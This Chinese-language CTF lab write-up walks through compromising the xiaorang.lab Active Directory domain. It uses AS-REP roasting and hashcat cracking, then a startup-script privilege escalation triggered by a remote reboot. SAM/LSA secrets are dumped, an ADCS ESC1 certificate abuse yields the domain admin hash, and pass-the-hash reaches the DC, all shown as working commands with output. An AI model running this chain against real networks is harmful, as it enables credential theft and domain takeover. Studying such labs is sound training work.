LDAP 172.22.61.17 389 DC CN=Schema Admins,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Enterprise Admins,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Cert Publishers,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Domain Users,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Domain Guests,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Group Policy Creator Owners,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=RAS and IAS Servers,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Server Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Account Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Incoming Forest Trust Builders,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Windows Authorization Access Group,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Terminal Server License Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Allowed RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Denied RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Enterprise Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Cloneable Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Key Admins,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Enterprise Key Admins,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=DnsUpdateProxy,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=wangmei,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=zhangjing,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=wangyong,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=huangyong,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=lixiang,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=chenlei,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=yangjie,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=zhangjun,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=yangdming,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=zhangmei,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=wangrong,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=zhangpeng,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=liuyun,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Shutdown_group,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=WIN2012,CN=Computers,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Web,CN=Computers,DC=xiaorang,DC=lab
在 LDAP 的 Distinguished Name(DN,可分辨名称)中,CN 代表 Common Name(通用名称),它通常就是对象的名字
| 类型 | 特征 | 示例 |
|---|---|---|
| 域用户 | 路径中包含 CN=Users,DC=xiaorang,DC=lab |
CN=wangmei,CN=Users,DC=xiaorang,DC=lab |
| 域组 | 路径中包含 CN=Builtin,DC=xiaorang,DC=lab 或 CN=Users,DC=xiaorang,DC=lab |
CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab |
| 计算机 | 路径中包含 CN=Computers,DC=xiaorang,DC=lab |
CN=WIN2012,CN=Computers,DC=xiaorang,DC=lab |
| 域控制器 | 路径中包含 OU=Domain Controllers,DC=xiaorang,DC=lab |
CN=DC,OU=Domain Controllers,DC=xiaorang,DC=lab |
保存所有用户名
wangmei
zhangjing
wangyong
huangyong
lixiang
chenlei
yangjie
zhangjun
yangdming
zhangmei
wangrong
zhangpeng
liuyun
Shutdown_group
AS-REP Roasting 攻击
什么是 AS-REP Roasting?
这是 Kerberos 认证协议中的一个“功能”被滥用。
Kerberos 认证流程(正常情况)
1. 用户 → KDC: "我要登录!" (AS-REQ)
2. KDC → 用户: "好的,这是用你的密码哈希加密的 TGT" (AS-REP)
3. 用户: 用自己的密码哈希解密 TGT,登录成功!
关键点:在正常情况下,KDC 会用用户的密码哈希加密 TGT,只有该用户才能解密。
漏洞利用条件
如果域用户启用了 UF_DONT_REQUIRE_PREAUTH(不需要预认证),KDC 会直接返回加密的 TGT,而不需要验证用户身份。
攻击者可以利用这个特性:
- 伪造一个 AS-REQ 请求
- KDC 直接返回 AS-REP(包含用用户密码哈希加密的 TGT)
- 攻击者拿到这个加密数据,离线暴力破解用户密码
proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -usersfile users.txt -dc-ip 172.22.61.17 -format hashcat -outputfile hashes.asreproast
| 参数 | 作用 |
|---|---|
impacket-GetNPUsers |
Impacket 工具包中的 AS-REP Roasting 攻击工具 |
xiaorang.lab/ |
目标域名 |
-usersfile users.txt |
从文件中读取用户名列表 |
-dc-ip 172.22.61.17 |
指定域控 IP |
-format hashcat |
输出的哈希格式为 Hashcat 可破解的格式($krb5asrep$23$...) |
-outputfile hashes.asreproast |
将成功获取的哈希保存到文件 |
root@kali-server:~# proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -usersfile users.txt -dc-ip 172.22.61.17 -format hashcat -outputfile hashes.asreproast
Impacket v0.11.0 - Copyright 2023 Fortra
[-] User wangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjing doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User huangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lixiang doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User chenlei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User yangjie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjun doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$yangdming@XIAORANG.LAB:55edcf27e96ffd5866ad86a4b624e844$5155e40cbe979953fd3f28132266a75b1e82dfc4b36530747f1b0f692381cec2f25b77a3ace561215b9762d9905182f598da0c08037d6d25eb3e27d2f3d96c0cd42ff97958715d5d1012cefd6a16269fc80cc1cf9e55d8a999a1d68250158f79660b8fc590263d834c19977881e33e034da749aec4b2e3a67cea4815160d49851c350ada3583f6b9f605fc2020fad317d7730ff34b7b10068ad9c9d13f0f0e4fdac19b6f7aac2b027101356f3a3bc293b7e33be147b3aa9b329c7fc59f087189f0ef8b0d267d2402a6a212c1f879c1b1bfea6ee970caf4522b0797548d17860165c7237fe3ad7df1d50a6dc4
[-] User zhangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangrong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangpeng doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User liuyun doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User WIN2012 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Web doesn't have UF_DONT_REQUIRE_PREAUTH set
hashcat爆破
root@kali-server:~# hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --show
$krb5asrep$23$yangdming@XIAORANG.LAB:55edcf27e96ffd5866ad86a4b624e844$5155e40cbe979953fd3f28132266a75b1e82dfc4b36530747f1b0f692381cec2f25b77a3ace561215b9762d9905182f598da0c08037d6d25eb3e27d2f3d96c0cd42ff97958715d5d1012cefd6a16269fc80cc1cf9e55d8a999a1d68250158f79660b8fc590263d834c19977881e33e034da749aec4b2e3a67cea4815160d49851c350ada3583f6b9f605fc2020fad317d7730ff34b7b10068ad9c9d13f0f0e4fdac19b6f7aac2b027101356f3a3bc293b7e33be147b3aa9b329c7fc59f087189f0ef8b0d267d2402a6a212c1f879c1b1bfea6ee970caf4522b0797548d17860165c7237fe3ad7df1d50a6dc4:kier@n10
得到一组凭据
yangdming/kier@n10
bloodhound分析域环境
root@kali-server:~# proxychains4 -q bloodhound-python -u yangdming -p kier@n10 -d xiaorang.lab -dc DC.xiaorang.lab -ns 172.22.61.17 -c all --auth-method ntlm --dns-tcp --zip
INFO: Found AD domain: xiaorang.lab
INFO: Connecting to LDAP server: DC.xiaorang.lab
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: DC.xiaorang.lab
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Web.xiaorang.lab
INFO: Querying computer: WIN2012.xiaorang.lab
INFO: Querying computer: DC.xiaorang.lab
INFO: Done in 02M 52S
INFO: Compressing output into 20231107142605_bloodhound.zip

域用户 yangdming@xiaorang.lab 是域组 shutdown_group@xiaorang.lab 中的成员
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'whoami /priv'
SMB 172.22.61.34 5985 WIN2012 [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP 172.22.61.34 5985 WIN2012 [*] http://172.22.61.34:5985/wsman
HTTP 172.22.61.34 5985 WIN2012 [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP 172.22.61.34 5985 WIN2012 [+] Executed command
HTTP 172.22.61.34 5985 WIN2012
HTTP 172.22.61.34 5985 WIN2012 特权信息
HTTP 172.22.61.34 5985 WIN2012 ----------------------
HTTP 172.22.61.34 5985 WIN2012
HTTP 172.22.61.34 5985 WIN2012 特权名 描述 状态
HTTP 172.22.61.34 5985 WIN2012 ============================= ================== ======
HTTP 172.22.61.34 5985 WIN2012 SeShutdownPrivilege 关闭系统 已启用
HTTP 172.22.61.34 5985 WIN2012 SeChangeNotifyPrivilege 绕过遍历检查 已启用
HTTP 172.22.61.34 5985 WIN2012 SeRemoteShutdownPrivilege 从远程系统强制关机 已启用
HTTP 172.22.61.34 5985 WIN2012 SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用
查看其特权,发现该域用户拥有 SeShutdownPrivilege 和 SeRemoteShutdownPrivilege 特权,允许从远程系统强制关闭或重启计算机
关于为什么是打34这台,可以一个个尝试,能打就对
利用系统开机启动项提权
向主机写入以下内容至开机启动目录进行本地提权:
@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
核心逻辑:利用 yangdming 用户的 SeShutdownPrivilege(关机特权),在系统重启时执行一个脚本,把自己添加到本地管理员组,从而完成提权
关键前提:yangdming 拥有 SeShutdownPrivilege 和 SeRemoteShutdownPrivilege,可以远程重启主机
第 1 行:关闭命令回显
@echo off
作用:不在命令行窗口中显示执行的命令本身,只显示输出结果,让脚本执行过程更“干净”。
第 2 行:将域用户添加到本地管理员组
net localgroup administrators yangdming /add
解析:
| 部分 | 含义 |
|---|---|
net localgroup |
Windows 本地组管理命令 |
administrators |
本地管理员组(最高权限组) |
yangdming |
域用户 yangdming@xiaorang.lab |
/add |
将用户添加到该组 |
效果:将域用户 yangdming 添加到 WIN2012 主机的本地 Administrators 组中。
为什么这能提权?
- 之前
yangdming只是一个普通域用户 - 现在它成了
WIN2012主机的本地管理员 - 拥有对这台主机的完全控制权(安装软件、修改配置、访问所有文件等)
第 3 行:关闭远程管理令牌过滤
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
解析:
| 部分 | 含义 |
|---|---|
reg ADD |
添加/修改注册表项 |
HKLM\...\Policies\System |
注册表路径(系统策略配置) |
/v LocalAccountTokenFilterPolicy |
要修改的注册表值名称 |
/t REG_DWORD |
数据类型是 32 位整数 |
/d 1 |
将值设置为 1(启用) |
/f |
强制覆盖,不提示确认 |
这个注册表项是干什么的?
LocalAccountTokenFilterPolicy 控制 Windows 对本地管理员账户的远程访问令牌过滤策略:
| 值 | 行为 |
|---|---|
0(默认) |
启用 UAC 远程限制:远程连接时,即使是管理员,令牌也会被过滤为标准用户权限(中等完整性),无法执行高权限操作 |
1(启用) |
禁用 UAC 远程限制:远程连接时,管理员令牌不会被过滤,拥有完整管理员权限(高完整性) |
通俗理解:
- 默认(0):即使你是管理员,从 WinRM 远程连接进来,权限也会被“打折”,很多高权限操作做不了
- 启用(1):远程连接时,你是“真管理员”,可以做任何事
为什么需要这一行?
yangdming 刚被加到本地管理员组,但如果 LocalAccountTokenFilterPolicy = 0,后续通过 WinRM 远程连接时,它的权限仍然会被过滤,无法执行真正的管理员操作。
设置 LocalAccountTokenFilterPolicy = 1 后,WinRM 连接就能获得完整的 Administrator 权限。
完整的攻击流程
┌─────────────────────────────────────────────────────────────────────┐
│ 1. yangdming 拥有 SeShutdownPrivilege(关机特权) │
│ → 可以远程重启 WIN2012 主机 │
└─────────────────────────────┬───────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. 写入提权脚本到开机启动目录 │
│ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ │
│ 脚本内容:
│ @echo off
│ - net localgroup administrators yangdming /add │
│ - reg add ... LocalAccountTokenFilterPolicy /d 1 │
└─────────────────────────────┬───────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. 远程重启 WIN2012 │
│ shutdown -r -t 0 │
└─────────────────────────────┬───────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. 系统重启,自动执行开机启动脚本 │
│ ✅ yangdming 被添加到本地 Administrators 组 │
│ ✅ LocalAccountTokenFilterPolicy = 1(远程管理完整权限) │
└─────────────────────────────┬───────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. yangdming 现在拥有 WIN2012 的完整管理员权限! │
│ 可以转储 SAM/LSA、横向移动到其他主机... │
└─────────────────────────────────────────────────────────────────────┘
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -x 'echo "QGVjaG8gb2ZmIApuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyB5YW5nZG1pbmcgL2FkZCAKcmVnIEFERCBIS0xNXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSAvdiBMb2NhbEFjY291bnRUb2tlbkZpbHRlclBvbGljeSAvdCBSRUdfRFdPUkQgL2QgMSAvZg==" > "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.txt"'
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -x 'certutil.exe -decode "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.txt" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.bat"'
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'shutdown -r -t 0'
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'whoami /priv'
SMB 172.22.61.34 5985 WIN2012 [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP 172.22.61.34 5985 WIN2012 [*] http://172.22.61.34:5985/wsman
HTTP 172.22.61.34 5985 WIN2012 [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP 172.22.61.34 5985 WIN2012 [+] Executed command
HTTP 172.22.61.34 5985 WIN2012
HTTP 172.22.61.34 5985 WIN2012 特权信息
HTTP 172.22.61.34 5985 WIN2012 ----------------------
HTTP 172.22.61.34 5985 WIN2012
HTTP 172.22.61.34 5985 WIN2012 特权名 描述 状态
HTTP 172.22.61.34 5985 WIN2012 =============================== ========================== ======
HTTP 172.22.61.34 5985 WIN2012 SeIncreaseQuotaPrivilege 为进程调整内存配额 已启用
HTTP 172.22.61.34 5985 WIN2012 SeSecurityPrivilege 管理审核和安全日志 已启用
HTTP 172.22.61.34 5985 WIN2012 SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已启用
HTTP 172.22.61.34 5985 WIN2012 SeLoadDriverPrivilege 加载和卸载设备驱动程序 已启用
HTTP 172.22.61.34 5985 WIN2012 SeSystemProfilePrivilege 配置文件系统性能 已启用
HTTP 172.22.61.34 5985 WIN2012 SeSystemtimePrivilege 更改系统时间 已启用
HTTP 172.22.61.34 5985 WIN2012 SeProfileSingleProcessPrivilege 配置文件单一进程 已启用
HTTP 172.22.61.34 5985 WIN2012 SeIncreaseBasePriorityPrivilege 提高计划优先级 已启用
HTTP 172.22.61.34 5985 WIN2012 SeCreatePagefilePrivilege 创建一个页面文件 已启用
HTTP 172.22.61.34 5985 WIN2012 SeBackupPrivilege 备份文件和目录 已启用
HTTP 172.22.61.34 5985 WIN2012 SeRestorePrivilege 还原文件和目录 已启用
HTTP 172.22.61.34 5985 WIN2012 SeShutdownPrivilege 关闭系统 已启用
HTTP 172.22.61.34 5985 WIN2012 SeDebugPrivilege 调试程序 已启用
HTTP 172.22.61.34 5985 WIN2012 SeSystemEnvironmentPrivilege 修改固件环境值 已启用
HTTP 172.22.61.34 5985 WIN2012 SeChangeNotifyPrivilege 绕过遍历检查 已启用
HTTP 172.22.61.34 5985 WIN2012 SeRemoteShutdownPrivilege 从远程系统强制关机 已启用
HTTP 172.22.61.34 5985 WIN2012 SeUndockPrivilege 从扩展坞上取下计算机 已启用
HTTP 172.22.61.34 5985 WIN2012 SeManageVolumePrivilege 执行卷维护任务 已启用
HTTP 172.22.61.34 5985 WIN2012 SeImpersonatePrivilege 身份验证后模拟客户端 已启用
HTTP 172.22.61.34 5985 WIN2012 SeCreateGlobalPrivilege 创建全局对象 已启用
HTTP 172.22.61.34 5985 WIN2012 SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用
HTTP 172.22.61.34 5985 WIN2012 SeTimeZonePrivilege 更改时区 已启用
HTTP 172.22.61.34 5985 WIN2012 SeCreateSymbolicLinkPrivilege 创建符号链接 已启用
提权成功
转储主机上的 SAM 和 LSA 凭证
root@kali-server:~# proxychains4 -q impacket-secretsdump xiaorang.lab/yangdming:'kier@n10'@WIN2012.xiaorang.lab -target-ip 172.22.61.34
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x138599167cd48a7b4d09526ec6522d48
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c8f9c9d0f45b132dd0ecc0ab84708a83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
XIAORANG.LAB/yangming:$DCC2$10240#yangming#f153c729fda454be46a97043b61c8bba: (2023-09-12 09:37:28)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
XIAORANG\WIN2012$:aes256-cts-hmac-sha1-96:108ffe5cf78deeb42aa15edcca403b9ee494fcae8dadd5c7a7e94fb221ecca87
XIAORANG\WIN2012$:aes128-cts-hmac-sha1-96:827e699ab174e23126d86eb234a9587f
XIAORANG\WIN2012$:des-cbc-md5:615701dfdc5789a7
XIAORANG\WIN2012$:plain_password_hex:0e8705ef55c38dd82f190ef00d8dd4b0a8f221e20f07c51bf850486fa5932863f1bcb92fb3152895b8bd8a18bed05935d3817c311bd02eec5c9c4900fa67a4073468809a52f5575b4ecf6d80f505571287bb661df9b0b95d693f807aeaa0aadb15480a1bf2839d0fb631cda16da51686c761631e5dfd5ae9fa1254039f58013e8a0345315ccbeb35064bc247ac521fb55ab3ffd22bb6a9ff9b5e1166d61158e1000866b32492d23f174a27fdc9bb3bfb514fae87992da30cd7146243c2461072ca433ca7bc50c350123349a724c1e601952d45ae9cbfa57e6ba6bdd30398463cf1c7d3e35f63a0f57625619d89e696fb
XIAORANG\WIN2012$:aad3b435b51404eeaad3b435b51404ee:af2d11a6c5a3addf14ccc2bb9daccaec:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xa86050e67c2ff5d8441af7c55b6f57e3f794d0bf
dpapi_userkey:0xb70b25ba8b2702cd5ce1e3333fc31c19403a417c
[*] NL$KM
0000 21 FA 51 78 C6 57 1A 87 AA 4B 3B EE BF 02 D4 E9 !.Qx.W...K;.....
0010 2F 15 3C 39 CB 62 E7 EE 17 67 AB 41 2F 54 6C 78 /.<9.b...g.A/Tlx
0020 75 24 68 2D C7 ED 6C A7 B2 6D 77 4C C0 66 FD F2 u$h-..l..mwL.f..
0030 23 11 E4 56 C2 6B 53 F3 49 06 AF 9B 7B FB FE 00 #..V.kS.I...{...
NL$KM:21fa5178c6571a87aa4b3beebf02d4e92f153c39cb62e7ee1767ab412f546c787524682dc7ed6ca7b26d774cc066fdf22311e456c26b53f34906af9b7bfbfe00
[*] Cleaning up...
[*] Stopping service RemoteRegistry
有本地管理员的
flag
root@kali-server:~# proxychains4 -q crackmapexec winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'type C:\Users\Administrator\flag\flag03.txt'
SMB 172.22.61.34 5985 WIN2012 [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP 172.22.61.34 5985 WIN2012 [*] http://172.22.61.34:5985/wsman
HTTP 172.22.61.34 5985 WIN2012 [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP 172.22.61.34 5985 WIN2012 [+] Executed command
HTTP 172.22.61.34 5985 WIN2012 _________ __ ____ ____
HTTP 172.22.61.34 5985 WIN2012 | _ _ | [ | |_ _||_ _|
HTTP 172.22.61.34 5985 WIN2012 |_/ | | \_|__ _ _ .--. _ .--. .---. | | \ \ / /
HTTP 172.22.61.34 5985 WIN2012 | | [ | | | [ `.-. | [ `.-. |/ /__\\ | | > `' <
HTTP 172.22.61.34 5985 WIN2012 _| |_ | \_/ |, | | | | | | | || \__., | | _/ /'`\ \_
HTTP 172.22.61.34 5985 WIN2012 |_____| '.__.'_/[___||__][___||__]'.__.'[___]|____||____|
HTTP 172.22.61.34 5985 WIN2012
HTTP 172.22.61.34 5985 WIN2012 flag03: flag{b63ab7a1-ee82-4d46-b0fb-3b0e66cc8978}
域控
通过 LDAP 查询 ADCS 的配置信息
proxychains4 -q crackmapexec ldap 172.22.61.17 -u yangdming -p kier@n10 -ns 172.22.61.17 -M adcs
| 部分 | 含义 |
|---|---|
-M adcs |
加载 ADCS 模块,用于发现和枚举证书服务 |
-ns 172.22.61.17 |
指定 DNS 服务器为域控(确保解析正确) |
root@kali-server:~# proxychains4 -q crackmapexec ldap 172.22.61.17 -u yangdming -p kier@n10 -ns 172.22.61.17 -M adcs
SMB 172.22.61.17 445 DC [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP 172.22.61.17 389 DC [+] xiaorang.lab\yangdming:kier@n10
ADCS 172.22.61.17 389 DC [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS Found PKI Enrollment Server: DC.xiaorang.lab
ADCS Found CN: xiaorang-DC-CA-CA
最后两行说明域中存在ADCS,证书颁发机构(CA)的名称是 xiaorang-DC-CA-CA
列出所有证书
root@kali-server:~# proxychains4 -q crackmapexec ldap 172.22.61.17 -u yangdming -p 'kier@n10' -ns 172.22.61.17 -M adcs -o SERVER=xiaorang-DC-CA-CA
SMB 172.22.61.17 445 DC [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP 172.22.61.17 389 DC [+] xiaorang.lab\yangdming:kier@n10
ADCS Using PKI CN: xiaorang-DC-CA-CA
ADCS 172.22.61.17 389 DC [*] Starting LDAP search with search filter '(distinguishedName=CN=xiaorang-DC-CA-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'
ADCS Found Certificate Template: win2012
ADCS Found Certificate Template: DirectoryEmailReplication
ADCS Found Certificate Template: DomainControllerAuthentication
ADCS Found Certificate Template: KerberosAuthentication
ADCS Found Certificate Template: EFSRecovery
ADCS Found Certificate Template: EFS
ADCS Found Certificate Template: DomainController
ADCS Found Certificate Template: WebServer
ADCS Found Certificate Template: Machine
ADCS Found Certificate Template: User
ADCS Found Certificate Template: SubCA
ADCS Found Certificate Template: Administrator
枚举 AD CS,并检测易受攻击的证书模板
root@kali-server:~# proxychains4 -q certipy find -u 'WIN2012$'@xiaorang.lab -hashes :af2d11a6c5a3addf14ccc2bb9daccaec -dc-ip 172.22.61.17 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused
[!] Failed to get CA configuration for 'xiaorang-DC-CA-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : xiaorang-DC-CA-CA
DNS Name : DC.xiaorang.lab
Certificate Subject : CN=xiaorang-DC-CA-CA, DC=xiaorang, DC=lab
Certificate Serial Number : 3D4ADD9E6B35D1B74B725D8B717CEEE8
Certificate Validity Start : 2023-09-11 14:56:26+00:00
Certificate Validity End : 2028-09-11 15:06:26+00:00
Web Enrollment : Disabled
User Specified SAN : Unknown
Request Disposition : Unknown
Enforce Encryption for Requests : Unknown
Certificate Templates
0
Template Name : win2012
Display Name : win2012
Certificate Authorities : xiaorang-DC-CA-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Domain Computers
XIAORANG.LAB\Enterprise Admins
Object Control Permissions
Owner : XIAORANG.LAB\Administrator
Write Owner Principals : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Administrator
Write Dacl Principals : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Administrator
Write Property Principals : XIAORANG.LAB\Domain Admins
XIAORANG.LAB\Enterprise Admins
XIAORANG.LAB\Administrator
[!] Vulnerabilities
ESC1 : 'XIAORANG.LAB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'XIAORANG.LAB\\Domain Computers' can enroll and template can be used for any purpose
ESC3 : 'XIAORANG.LAB\\Domain Computers' can enroll and template has Certificate Request Agent EKU set
发现ESC1,请求证书:
root@kali-server:~# proxychains4 -q certipy req -u 'WIN2012$@xiaorang.lab' -hashes :af2d11a6c5a3addf14ccc2bb9daccaec -target 172.22.61.17 -dc-ip 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'administrator@xiaorang.lab'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
root@kali-server:~# proxychains4 -q certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@xiaorang.lab
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
得到域管hash之后可以直接哈希传递域控了
root@kali-server:~# proxychains4 -q impacket-wmiexec xiaorang.lab/administrator@172.22.61.17 -hashes :e26a28fd9daa8a6a4d3c5adbbdcb0f53 -codec GBK -shell-type powershell
总结
